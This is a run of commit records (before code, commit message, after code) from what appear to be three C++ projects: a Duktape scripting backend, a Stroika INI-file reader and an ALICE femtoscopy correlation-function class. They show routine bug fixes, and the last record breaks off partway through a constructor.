DuktapeScriptBackend::pushToDukStack(const Variant & value)\n{\n if (value.isBool()) {\n duk_push_boolean(m_context, value.toBool());\n }\n\n else if (value.isUnsignedIntegral()) {\n duk_push_number(m_context, value.toULongLong());\n }\n\n else if (value.isSignedIntegral() || value.isIntegral()) {\n duk_push_number(m_context, value.toLongLong());\n }\n\n else if (value.isFloatingPoint()) {\n duk_push_number(m_context, value.toDouble());\n }\n\n else if (value.isString()) {\n duk_push_string(m_context, value.toString().c_str());\n }\n\n else if (value.hasType<char*>()) {\n duk_push_string(m_context, value.value<char*>());\n }\n\n else if (value.isVariantArray())\n {\n VariantArray variantArray = value.value<VariantArray>();\n duk_idx_t arr_idx = duk_push_array(m_context);\n\n for (unsigned int i=0; i<variantArray.size(); i++) {\n pushToDukStack(variantArray.at(i));\n duk_put_prop_index(m_context, arr_idx, i);\n }\n }\n\n else if (value.isVariantMap())\n {\n VariantMap variantMap = value.value<VariantMap>();\n duk_push_object(m_context);\n\n for (const std::pair<std::string, Variant> & pair : variantMap)\n {\n pushToDukStack(pair.second);\n duk_put_prop_string(m_context, -2, pair.first.c_str());\n }\n }\n}\n\nint DuktapeScriptBackend::getNextStashIndex()\n{\n \/\/ Get stash object\n duk_push_global_stash(m_context);\n\n \/\/ Get next free index for functions or objects in global stash\n duk_get_prop_string(m_context, -1, s_duktapeNextStashIndexKey);\n int index = duk_get_int(m_context, -1);\n\n \/\/ Increment next free index\n duk_push_int(m_context, index + 1);\n duk_put_prop_string(m_context, -3, s_duktapeNextStashIndexKey);\n\n \/\/ Clean up stack\n duk_pop(m_context);\n duk_pop(m_context);\n\n \/\/ Return index\n return index;\n}\n\n\n} \/\/ namespace cppexpose\n<commit_msg>Fix crash in duktape backend when property value cannot be converted<commit_after>\n#include \"DuktapeScriptBackend.h\"\n\n#include <iostream>\n\n#include <cppassist\/logging\/logging.h>\n\n#include <cppexpose\/reflection\/Object.h>\n#include <cppexpose\/variant\/Variant.h>\n#include <cppexpose\/scripting\/ScriptContext.h>\n\n#include \"DuktapeScriptFunction.h\"\n#include \"DuktapeObjectWrapper.h\"\n\n\nusing namespace cppassist;\n\n\nnamespace cppexpose\n{\n\n\nconst char * s_duktapeScriptBackendKey = \"duktapeScriptBackend\";\nconst char * s_duktapeNextStashIndexKey = \"duktapeNextStashFunctionIndex\";\nconst char * s_duktapeFunctionPointerKey = \"duktapeFunctionPointer\";\nconst char * s_duktapeObjectPointerKey = \"duktapeObjectPointer\";\nconst char * s_duktapePropertyNameKey = \"duktapePropertyName\";\n\n\nDuktapeScriptBackend::DuktapeScriptBackend()\n: m_context(nullptr)\n, m_globalObjWrapper(nullptr)\n{\n \/\/ Create duktape script context\n m_context = duk_create_heap_default();\n}\n\nDuktapeScriptBackend::~DuktapeScriptBackend()\n{\n \/\/ Destroy duktape script context\n duk_destroy_heap(m_context);\n}\n\nvoid DuktapeScriptBackend::initialize(ScriptContext * scriptContext)\n{\n \/\/ Store script context\n m_scriptContext = scriptContext;\n\n \/\/ Get stash\n duk_push_global_stash(m_context);\n\n \/\/ Save pointer to script backend in global stash\n void * context_ptr = static_cast<void *>(this);\n duk_push_pointer(m_context, context_ptr);\n duk_put_prop_string(m_context, -2, s_duktapeScriptBackendKey);\n\n \/\/ Initialize next index for storing functions and objects in the stash\n duk_push_int(m_context, 0);\n duk_put_prop_string(m_context, -2, s_duktapeNextStashIndexKey);\n\n \/\/ Release stash\n duk_pop(m_context);\n}\n\nvoid DuktapeScriptBackend::setGlobalObject(Object * obj)\n{\n \/\/ Destroy former global object wrapper\n if (m_globalObjWrapper)\n {\n \/\/ Remove property in the global object\n duk_push_global_object(m_context);\n duk_del_prop_string(m_context, duk_get_top_index(m_context), obj->name().c_str());\n duk_pop(m_context);\n }\n\n \/\/ Create object wrapper\n m_globalObjWrapper = cppassist::make_unique<DuktapeObjectWrapper>(this);\n\n \/\/ Wrap object in javascript object and put it into the global object\n duk_push_global_object(m_context);\n m_globalObjWrapper->wrapObject(duk_get_top_index(m_context), obj);\n duk_pop(m_context);\n}\n\nVariant DuktapeScriptBackend::evaluate(const std::string & code)\n{\n \/\/ Check code for errors\n duk_int_t error = duk_peval_string(m_context, code.c_str());\n\n if (error)\n {\n \/\/ Raise exception\n m_scriptContext->scriptException(std::string(duk_safe_to_string(m_context, -1)));\n\n \/\/ Abort and return undefined value\n duk_pop(m_context);\n return Variant();\n }\n\n \/\/ Convert return value to variant\n Variant value = fromDukStack();\n duk_pop(m_context);\n return value;\n}\n\nDuktapeScriptBackend * DuktapeScriptBackend::getScriptBackend(duk_context * context)\n{\n \/\/ Get stash object\n duk_push_global_stash(context);\n\n \/\/ Get pointer to duktape scripting backend\n duk_get_prop_string(context, -1, s_duktapeScriptBackendKey);\n void * ptr = duk_get_pointer(context, -1);\n duk_pop_2(context);\n\n \/\/ Return duktape scripting backend\n return static_cast<DuktapeScriptBackend *>(ptr);\n}\n\nVariant DuktapeScriptBackend::fromDukStack(duk_idx_t index)\n{\n \/\/ Wrapped object function\n if (duk_is_c_function(m_context, index))\n {\n \/\/ Get pointer to wrapped function\n duk_get_prop_string(m_context, index, s_duktapeFunctionPointerKey);\n Function * func = reinterpret_cast<Function *>( duk_get_pointer(m_context, -1) );\n duk_pop(m_context);\n\n \/\/ Return wrapped function\n return Variant::fromValue<Function>(*func);\n }\n\n \/\/ Javascript function - will be stored in global stash for access from C++ later\n else if (duk_is_ecmascript_function(m_context, index))\n {\n \/\/ Get stash object\n duk_push_global_stash(m_context);\n\n \/\/ Get next free index in global stash\n int funcIndex = getNextStashIndex();\n duk_push_int(m_context, funcIndex);\n\n \/\/ Copy function object to the top and put it as property into global stash\n duk_dup(m_context, -3);\n duk_put_prop(m_context, -3);\n\n \/\/ Close stash\n duk_pop(m_context);\n\n \/\/ Return callable function\n Function function(cppassist::make_unique<DuktapeScriptFunction>(this, funcIndex));\n return Variant::fromValue<Function>(function);\n }\n\n \/\/ Number\n else if (duk_is_number(m_context, index))\n {\n double value = duk_get_number(m_context, index);\n return Variant(value);\n }\n\n \/\/ Boolean\n else if (duk_is_boolean(m_context, index))\n {\n bool value = duk_get_boolean(m_context, index) > 0;\n return Variant(value);\n }\n\n \/\/ String\n else if (duk_is_string(m_context, index))\n {\n const char *str = duk_get_string(m_context, index);\n return Variant(str);\n }\n\n \/\/ Array\n else if (duk_is_array(m_context, index))\n {\n VariantArray array;\n\n for (unsigned int i = 0; i < duk_get_length(m_context, index); ++i)\n {\n duk_get_prop_index(m_context, index, i);\n array.push_back(fromDukStack());\n duk_pop(m_context);\n }\n\n return array;\n }\n\n \/\/ Object\n else if (duk_is_object(m_context, index))\n {\n VariantMap map;\n\n duk_enum(m_context, index, 0);\n while (duk_next(m_context, -1, 1))\n {\n \/\/ Prevent the pointer to the C++ object that is stored in the Ecmascript object from being serialized\n if (!(duk_is_pointer(m_context, -1) && fromDukStack(-2).value<std::string>() == s_duktapeObjectPointerKey))\n {\n map.insert({ fromDukStack(-2).value<std::string>(), fromDukStack(-1) });\n }\n\n duk_pop_2(m_context);\n }\n\n duk_pop(m_context);\n\n return Variant(map);\n }\n\n \/\/ Pointer\n else if (duk_is_pointer(m_context, index))\n {\n return Variant::fromValue<void *>(duk_get_pointer(m_context, index));\n }\n\n \/\/ Undefined\n else if (duk_is_undefined(m_context, index))\n {\n return Variant();\n }\n\n \/\/ Unknown type\n warning() << \"Unknown type found: \" << duk_get_type(m_context, index) << std::endl;\n warning() << \"Duktape stack dump:\" << std::endl;\n duk_dump_context_stderr(m_context);\n return Variant();\n}\n\nvoid DuktapeScriptBackend::pushToDukStack(const Variant & value)\n{\n if (value.isBool()) {\n duk_push_boolean(m_context, value.toBool());\n }\n\n else if (value.isUnsignedIntegral()) {\n duk_push_number(m_context, value.toULongLong());\n }\n\n else if (value.isSignedIntegral() || value.isIntegral()) {\n duk_push_number(m_context, value.toLongLong());\n }\n\n else if (value.isFloatingPoint()) {\n duk_push_number(m_context, value.toDouble());\n }\n\n else if (value.isString()) {\n duk_push_string(m_context, value.toString().c_str());\n }\n\n else if (value.hasType<char*>()) {\n duk_push_string(m_context, value.value<char*>());\n }\n\n else if (value.isVariantArray())\n {\n VariantArray variantArray = value.value<VariantArray>();\n duk_idx_t arr_idx = duk_push_array(m_context);\n\n for (unsigned int i=0; i<variantArray.size(); i++) {\n pushToDukStack(variantArray.at(i));\n duk_put_prop_index(m_context, arr_idx, i);\n }\n }\n\n else if (value.isVariantMap())\n {\n VariantMap variantMap = value.value<VariantMap>();\n duk_push_object(m_context);\n\n for (const std::pair<std::string, Variant> & pair : variantMap)\n {\n pushToDukStack(pair.second);\n duk_put_prop_string(m_context, -2, pair.first.c_str());\n }\n }\n\n else\n {\n warning() << \"Unknown variant type found: \" << value.type().name();\n duk_push_undefined(m_context);\n }\n}\n\nint DuktapeScriptBackend::getNextStashIndex()\n{\n \/\/ Get stash object\n duk_push_global_stash(m_context);\n\n \/\/ Get next free index for functions or objects in global stash\n duk_get_prop_string(m_context, -1, s_duktapeNextStashIndexKey);\n int index = duk_get_int(m_context, -1);\n\n \/\/ Increment next free index\n duk_push_int(m_context, index + 1);\n duk_put_prop_string(m_context, -3, s_duktapeNextStashIndexKey);\n\n \/\/ Clean up stack\n duk_pop(m_context);\n duk_pop(m_context);\n\n \/\/ Return index\n return index;\n}\n\n\n} \/\/ namespace cppexpose\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2014. All rights reserved\n *\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Characters\/Format.h\"\n#include \"..\/..\/Characters\/String_Constant.h\"\n#include \"..\/..\/Characters\/String2Float.h\"\n#include \"..\/..\/Characters\/String2Int.h\"\n#include \"..\/..\/Streams\/TextInputStreamBinaryAdapter.h\"\n#include \"..\/BadFormatException.h\"\n\n#include \"Reader.h\"\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::DataExchange;\n\nusing Characters::String_Constant;\n\n\n\n\n\/*\n ********************************************************************************\n ************************** DataExchange::INI::Reader ***************************\n ********************************************************************************\n *\/\nclass DataExchange::INI::Reader::Rep_ : public DataExchange::Reader::_IRep {\npublic:\n DECLARE_USE_BLOCK_ALLOCATION (Rep_);\npublic:\n virtual _SharedPtrIRep Clone () const override\n {\n return _SharedPtrIRep (new Rep_ ()); \/\/ no instance data\n }\n virtual String GetDefaultFileSuffix () const override\n {\n return String_Constant (L\".ini\");\n }\n virtual VariantValue Read (const Streams::BinaryInputStream& in) override\n {\n return Read (Streams::TextInputStreamBinaryAdapter (in));\n }\n virtual VariantValue Read (const Streams::TextInputStream& in) override\n {\n Profile p;\n Optional<String> readingSection;\n Section currentSection;\n for (String line : in.ReadLines ()) {\n line = line.Trim ();\n if (line.StartsWith (L\"[\") and line.EndsWith (L\"]\")) {\n if (readingSection.IsPresent ()) {\n p.fNamedSections.Add (*readingSection, currentSection);\n currentSection.fProperties.clear ();\n }\n readingSection = line.CircularSubString (1, -1);\n }\n else if (line.StartsWith (L\";\")) {\n \/\/ drop comments on the floor\n }\n else if (line.Contains (L\"=\")) {\n size_t i = line.Find ('=');\n Assert (i != String::npos);\n String key = line.SubString (0, i).Trim ();\n String value = line.SubString (i + 1).Trim ();\n if (value.StartsWith (L\"\\\"\") and value.EndsWith (L\"\\\"\")) {\n value = value.CircularSubString (1, -1);\n }\n if (readingSection.IsPresent ()) {\n currentSection.fProperties.Add (key, value);\n }\n else {\n p.fUnnamedSection.fProperties.Add (key, value);\n }\n }\n else {\n \/\/ @todo not sure what todo with other sorts of lines??\n }\n }\n return Convert (p);\n }\n};\nDataExchange::INI::Reader::Reader ()\n : inherited (shared_ptr<_IRep> (new Rep_ ()))\n{\n}\n<commit_msg>fixed serious bug with DataExchange\/INI\/Reader - not including last named section<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2014. All rights reserved\n *\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Characters\/Format.h\"\n#include \"..\/..\/Characters\/String_Constant.h\"\n#include \"..\/..\/Characters\/String2Float.h\"\n#include \"..\/..\/Characters\/String2Int.h\"\n#include \"..\/..\/Streams\/TextInputStreamBinaryAdapter.h\"\n#include \"..\/BadFormatException.h\"\n\n#include \"Reader.h\"\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::DataExchange;\n\nusing Characters::String_Constant;\n\n\n\n\n\/*\n ********************************************************************************\n ************************** DataExchange::INI::Reader ***************************\n ********************************************************************************\n *\/\nclass DataExchange::INI::Reader::Rep_ : public DataExchange::Reader::_IRep {\npublic:\n DECLARE_USE_BLOCK_ALLOCATION (Rep_);\npublic:\n virtual _SharedPtrIRep Clone () const override\n {\n return _SharedPtrIRep (new Rep_ ()); \/\/ no instance data\n }\n virtual String GetDefaultFileSuffix () const override\n {\n return String_Constant (L\".ini\");\n }\n virtual VariantValue Read (const Streams::BinaryInputStream& in) override\n {\n return Read (Streams::TextInputStreamBinaryAdapter (in));\n }\n virtual VariantValue Read (const Streams::TextInputStream& in) override\n {\n Profile p;\n Optional<String> readingSection;\n Section currentSection;\n for (String line : in.ReadLines ()) {\n line = line.Trim ();\n if (line.StartsWith (L\"[\") and line.EndsWith (L\"]\")) {\n if (readingSection.IsPresent ()) {\n p.fNamedSections.Add (*readingSection, currentSection);\n currentSection.fProperties.clear ();\n }\n readingSection = line.CircularSubString (1, -1);\n }\n else if (line.StartsWith (L\";\")) {\n \/\/ drop comments on the floor\n }\n else if (line.Contains (L\"=\")) {\n size_t i = line.Find ('=');\n Assert (i != String::npos);\n String key = line.SubString (0, i).Trim ();\n String value = line.SubString (i + 1).Trim ();\n if (value.StartsWith (L\"\\\"\") and value.EndsWith (L\"\\\"\")) {\n value = value.CircularSubString (1, -1);\n }\n if (readingSection.IsPresent ()) {\n currentSection.fProperties.Add (key, value);\n }\n else {\n p.fUnnamedSection.fProperties.Add (key, value);\n }\n }\n else {\n \/\/ @todo not sure what todo with other sorts of lines??\n }\n }\n if (readingSection.IsPresent ()) {\n p.fNamedSections.Add (*readingSection, currentSection);\n }\n return Convert (p);\n }\n};\nDataExchange::INI::Reader::Reader ()\n : inherited (shared_ptr<_IRep> (new Rep_ ()))\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ \\file AliFemtoModelCorrFctnTrueQ3D.cxx\n\/\/\/\n\n#include \"AliFemtoModelCorrFctnTrueQ3D.h\"\n#include \"AliFemtoPair.h\"\n#include \"AliFemtoModelManager.h\"\n#include \"AliFemtoModelHiddenInfo.h\"\n\n#include <TH3F.h>\n#include <TList.h>\n#include <TString.h>\n#include <TRandom.h>\n\n#include <tuple>\n#include <iostream>\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D():\n AliFemtoModelCorrFctnTrueQ3D(\"CF_TrueQ3D_\")\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const char *prefix):\n AliFemtoModelCorrFctnTrueQ3D(prefix, 56, 0.14)\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const char *prefix,\n UInt_t nbins,\n Double_t qmax):\n AliFemtoModelCorrFctnTrueQ3D(prefix, nbins, -qmax, qmax)\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const TString &prefix,\n UInt_t nbins,\n Double_t qmin,\n Double_t qmax):\n AliFemtoCorrFctn()\n , fManager(nullptr)\n , fNumeratorGenerated(nullptr)\n , fNumeratorReconstructed(nullptr)\n , fNumeratorGenUnweighted(nullptr)\n , fNumeratorRecUnweighted(nullptr)\n , fDenominatorGenerated(nullptr)\n , fDenominatorReconstructed(nullptr)\n , fDenominatorGenWeighted(nullptr)\n , fDenominatorRecWeighted(nullptr)\n , fRng(new TRandom())\n{\n fNumeratorGenerated = new TH3F(prefix + \"NumGen\",\n \"Numerator (MC-Generated Momentum)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fNumeratorReconstructed = new TH3F(prefix + \"NumRec\",\n \"Numerator (Reconstructed Momentum)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fNumeratorRecUnweighted = new TH3F(prefix + \"NumRecUnweighted\",\n \"Numerator (Reconstructed Momentum - No femto weight)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fNumeratorGenUnweighted = new TH3F(prefix + \"NumGenUnweighted\",\n \"Numerator (Generated Momentum - No femto weight)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fDenominatorGenerated = new TH3F(prefix + \"DenGen\",\n \"Denominator (MC-Generated Momentum)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fDenominatorReconstructed = new TH3F(prefix + \"DenRec\",\n \"Denominator (Reconstructed Momentum)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fDenominatorGenWeighted = new TH3F(prefix + \"DenGenWeight\",\n \"Denominator (Generated Momentum - with femto weight)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fDenominatorRecWeighted = new TH3F(prefix + \"DenRecWeight\",\n \"Numerator (Reconstructed Momentum - with femto weight)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fNumeratorGenerated->Sumw2();\n fNumeratorReconstructed->Sumw2();\n fDenominatorGenWeighted->Sumw2();\n fDenominatorRecWeighted->Sumw2();\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(UInt_t nbins, Double_t qmax):\n AliFemtoModelCorrFctnTrueQ3D(nbins, -abs(qmax), abs(qmax))\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(UInt_t nbins, Double_t qmin, Double_t qmax):\n AliFemtoModelCorrFctnTrueQ3D(\"\", nbins, qmin, qmax)\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const AliFemtoModelCorrFctnTrueQ3D::Parameters ¶ms):\n AliFemtoModelCorrFctnTrueQ3D(params.prefix.Data(), params.bin_count, params.qmin, params.qmax)\n{\n SetManager(params.mc_manager);\n}\n\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const AliFemtoModelCorrFctnTrueQ3D& orig):\n AliFemtoCorrFctn(orig)\n , fManager(orig.fManager)\n , fNumeratorGenerated(nullptr)\n , fNumeratorReconstructed(nullptr)\n , fNumeratorGenUnweighted(nullptr)\n , fNumeratorRecUnweighted(nullptr)\n , fDenominatorGenerated(nullptr)\n , fDenominatorReconstructed(nullptr)\n , fDenominatorGenWeighted(nullptr)\n , fDenominatorRecWeighted(nullptr)\n , fRng(new TRandom())\n{\n fNumeratorGenerated = new TH3F(*orig.fNumeratorGenerated);\n fNumeratorReconstructed = new TH3F(*orig.fNumeratorReconstructed);\n fDenominatorGenerated = new TH3F(*orig.fDenominatorGenerated);\n fDenominatorReconstructed = new TH3F(*orig.fDenominatorReconstructed);\n\n fNumeratorGenUnweighted = new TH3F(*orig.fNumeratorGenUnweighted);\n fNumeratorRecUnweighted = new TH3F(*orig.fNumeratorRecUnweighted);\n fDenominatorGenWeighted = new TH3F(*orig.fDenominatorGenWeighted);\n fDenominatorRecWeighted = new TH3F(*orig.fDenominatorRecWeighted);\n}\n\n\nAliFemtoModelCorrFctnTrueQ3D&\nAliFemtoModelCorrFctnTrueQ3D::operator=(const AliFemtoModelCorrFctnTrueQ3D&)\n{\n return *this;\n}\n\nAliFemtoModelCorrFctnTrueQ3D::~AliFemtoModelCorrFctnTrueQ3D()\n{\n delete fNumeratorGenerated;\n delete fNumeratorReconstructed;\n delete fDenominatorGenerated;\n delete fDenominatorReconstructed;\n delete fNumeratorGenUnweighted;\n delete fNumeratorRecUnweighted;\n delete fDenominatorGenWeighted;\n delete fDenominatorRecWeighted;\n delete fRng;\n}\n\n\nTList*\nAliFemtoModelCorrFctnTrueQ3D::GetOutputList()\n{\n TList *result = new TList();\n AppendOutputList(*result);\n return result;\n}\n\n\nTList*\nAliFemtoModelCorrFctnTrueQ3D::AppendOutputList(TList &list)\n{\n AddOutputObjectsTo(list);\n return &list;\n}\n\nvoid\nAliFemtoModelCorrFctnTrueQ3D::AddOutputObjectsTo(TCollection &list)\n{\n list.Add(fNumeratorGenerated);\n list.Add(fNumeratorReconstructed);\n list.Add(fDenominatorGenerated);\n list.Add(fDenominatorReconstructed);\n list.Add(fNumeratorGenUnweighted);\n list.Add(fNumeratorRecUnweighted);\n list.Add(fDenominatorGenWeighted);\n list.Add(fDenominatorRecWeighted);\n}\n\n\/\/\/ Return q{Out-Side-Long} tuple, calculated from momentum vectors p1 & p2\nstatic\nstd::tuple<Double_t, Double_t, Double_t>\nQcms(const AliFemtoLorentzVector &p1, const AliFemtoLorentzVector &p2)\n{\n const AliFemtoLorentzVector p = p1 + p2,\n d = p1 - p2;\n\n Double_t k1 = p.Perp(),\n k2 = d.x()*p.x() + d.y()*p.y();\n\n \/\/ relative momentum out component in lab frame\n Double_t qout = (k1 == 0) ? 0.0 : k2\/k1;\n\n \/\/ relative momentum side component in lab frame\n Double_t qside = (k1 == 0) ? 0.0 : 2.0 * (p2.x()*p1.y() - p1.x()*p2.y())\/k1;\n\n \/\/ relative momentum component in lab frame\n\n Double_t beta = p.z()\/p.t(),\n gamma = 1.0 \/ TMath::Sqrt((1.0-beta)*(1.0+beta));\n\n Double_t qlong = gamma * (d.z() - beta*d.t());\n\n \/\/ double qlong = (p.t()*d.z() - p.z()*d.t()) \/ TMath::Sqrt(p.t()*p.t() - p.z()*p.z());\n\n return std::make_tuple(qout, qside, qlong);\n}\n\n\nstatic void\nAddPair(const AliFemtoParticle &particle1,\n const AliFemtoParticle &particle2,\n TH3F &gen_hist,\n TH3F &rec_hist,\n TH3F &gen_hist_unw,\n TH3F &rec_hist_unw,\n Double_t weight)\n{\n Double_t q_out, q_side, q_long;\n\n \/\/ Fill reconstructed histogram with \"standard\" particle momentum\n std::tie(q_out, q_side, q_long) = Qcms(particle1.FourMomentum(), particle2.FourMomentum());\n Int_t rec_bin = gen_hist.GetBin(q_out, q_long, q_side);\n if (!(gen_hist.IsBinOverflow(rec_bin) or gen_hist.IsBinUnderflow(rec_bin))) {\n rec_hist.Fill(q_out, q_side, q_long, weight);\n rec_hist_unw.Fill(q_out, q_side, q_long, 1.0);\n }\n\n \/\/ Get generated momentum from hidden info\n const AliFemtoModelHiddenInfo\n *info1 = dynamic_cast<const AliFemtoModelHiddenInfo*>(particle1.HiddenInfo()),\n *info2 = dynamic_cast<const AliFemtoModelHiddenInfo*>(particle2.HiddenInfo());\n\n if (info1 == nullptr || info2 == nullptr) {\n return;\n }\n\n const Float_t mass1 = info1->GetMass(),\n mass2 = info2->GetMass();\n\n \/\/ block all zero-mass particles from the correlation function\n if (mass1 == 0.0 || mass2 == 0.0) {\n return;\n }\n\n const AliFemtoThreeVector *true_momentum1 = info1->GetTrueMomentum(),\n *true_momentum2 = info2->GetTrueMomentum();\n\n const Double_t e1 = sqrt(mass1 * mass1 + true_momentum1->Mag2()),\n e2 = sqrt(mass2 * mass2 + true_momentum2->Mag2());\n\n const AliFemtoLorentzVector p1 = AliFemtoLorentzVector(e1, *true_momentum1),\n p2 = AliFemtoLorentzVector(e2, *true_momentum2);\n\n \/\/ Fill generated-momentum histogram with \"true\" particle momentum\n std::tie(q_out, q_side, q_long) = Qcms(p1, p2);\n Int_t gen_bin = gen_hist.GetBin(q_out, q_long, q_side);\n if (!(gen_hist.IsBinOverflow(gen_bin) or gen_hist.IsBinUnderflow(gen_bin))) {\n gen_hist.Fill(q_out, q_side, q_long, weight);\n gen_hist_unw.Fill(q_out, q_side, q_long, weight);\n }\n}\n\nvoid\nAliFemtoModelCorrFctnTrueQ3D::AddRealPair(AliFemtoPair *pair)\n{\n const AliFemtoParticle *p1 = pair->Track1(),\n *p2 = pair->Track2();\n\n \/\/ randomize to avoid ordering biases\n if (fRng->Uniform() >= 0.5) {\n std::swap(p1, p2);\n }\n AddPair(*p1, *p2,\n *fNumeratorGenUnweighted,\n *fNumeratorRecUnweighted,\n *fNumeratorGenerated,\n *fNumeratorReconstructed,\n fManager->GetWeight(pair));\n}\n\nvoid\nAliFemtoModelCorrFctnTrueQ3D::AddMixedPair(AliFemtoPair *pair)\n{\n const AliFemtoParticle *p1 = pair->Track1(),\n *p2 = pair->Track2();\n\n \/\/ randomize to avoid ordering biases\n if (fRng->Uniform() >= 0.5) {\n std::swap(p1, p2);\n }\n\n AddPair(*p1, *p2,\n *fDenominatorGenWeighted,\n *fDenominatorRecWeighted,\n *fDenominatorGenerated,\n *fDenominatorReconstructed,\n fManager->GetWeight(pair));\n}\n\n\nAliFemtoString\nAliFemtoModelCorrFctnTrueQ3D::Report()\n{\n AliFemtoString report;\n return report;\n}\n\nvoid\nAliFemtoModelCorrFctnTrueQ3D::Finish()\n{\n#if ROOT_VERSION_CODE >= ROOT_VERSION(6, 10, 8)\n \/\/ remove {under,over}flow to shrink file sizes\n fNumeratorGenerated->ClearUnderflowAndOverflow();\n fNumeratorReconstructed->ClearUnderflowAndOverflow();\n fDenominatorGenerated->ClearUnderflowAndOverflow();\n fDenominatorReconstructed->ClearUnderflowAndOverflow();\n\n fNumeratorGenUnweighted->ClearUnderflowAndOverflow();\n fNumeratorRecUnweighted->ClearUnderflowAndOverflow();\n fDenominatorGenWeighted->ClearUnderflowAndOverflow();\n fDenominatorRecWeighted->ClearUnderflowAndOverflow();\n#endif\n}\n<commit_msg>AliFemtoModelCorrFctnTrueQ3D - Replace GetBin with FindBin<commit_after>\/\/\/\n\/\/\/ \\file AliFemtoModelCorrFctnTrueQ3D.cxx\n\/\/\/\n\n#include \"AliFemtoModelCorrFctnTrueQ3D.h\"\n#include \"AliFemtoPair.h\"\n#include \"AliFemtoModelManager.h\"\n#include \"AliFemtoModelHiddenInfo.h\"\n\n#include <TH3F.h>\n#include <TList.h>\n#include <TString.h>\n#include <TRandom.h>\n\n#include <tuple>\n#include <iostream>\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D():\n AliFemtoModelCorrFctnTrueQ3D(\"CF_TrueQ3D_\")\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const char *prefix):\n AliFemtoModelCorrFctnTrueQ3D(prefix, 56, 0.14)\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const char *prefix,\n UInt_t nbins,\n Double_t qmax):\n AliFemtoModelCorrFctnTrueQ3D(prefix, nbins, -qmax, qmax)\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const TString &prefix,\n UInt_t nbins,\n Double_t qmin,\n Double_t qmax):\n AliFemtoCorrFctn()\n , fManager(nullptr)\n , fNumeratorGenerated(nullptr)\n , fNumeratorReconstructed(nullptr)\n , fNumeratorGenUnweighted(nullptr)\n , fNumeratorRecUnweighted(nullptr)\n , fDenominatorGenerated(nullptr)\n , fDenominatorReconstructed(nullptr)\n , fDenominatorGenWeighted(nullptr)\n , fDenominatorRecWeighted(nullptr)\n , fRng(new TRandom())\n{\n fNumeratorGenerated = new TH3F(prefix + \"NumGen\",\n \"Numerator (MC-Generated Momentum)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fNumeratorReconstructed = new TH3F(prefix + \"NumRec\",\n \"Numerator (Reconstructed Momentum)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fNumeratorRecUnweighted = new TH3F(prefix + \"NumRecUnweighted\",\n \"Numerator (Reconstructed Momentum - No femto weight)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fNumeratorGenUnweighted = new TH3F(prefix + \"NumGenUnweighted\",\n \"Numerator (Generated Momentum - No femto weight)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fDenominatorGenerated = new TH3F(prefix + \"DenGen\",\n \"Denominator (MC-Generated Momentum)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fDenominatorReconstructed = new TH3F(prefix + \"DenRec\",\n \"Denominator (Reconstructed Momentum)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fDenominatorGenWeighted = new TH3F(prefix + \"DenGenWeight\",\n \"Denominator (Generated Momentum - with femto weight)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fDenominatorRecWeighted = new TH3F(prefix + \"DenRecWeight\",\n \"Numerator (Reconstructed Momentum - with femto weight)\",\n nbins, qmin, qmax,\n nbins, qmin, qmax,\n nbins, qmin, qmax);\n fNumeratorGenerated->Sumw2();\n fNumeratorReconstructed->Sumw2();\n fDenominatorGenWeighted->Sumw2();\n fDenominatorRecWeighted->Sumw2();\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(UInt_t nbins, Double_t qmax):\n AliFemtoModelCorrFctnTrueQ3D(nbins, -abs(qmax), abs(qmax))\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(UInt_t nbins, Double_t qmin, Double_t qmax):\n 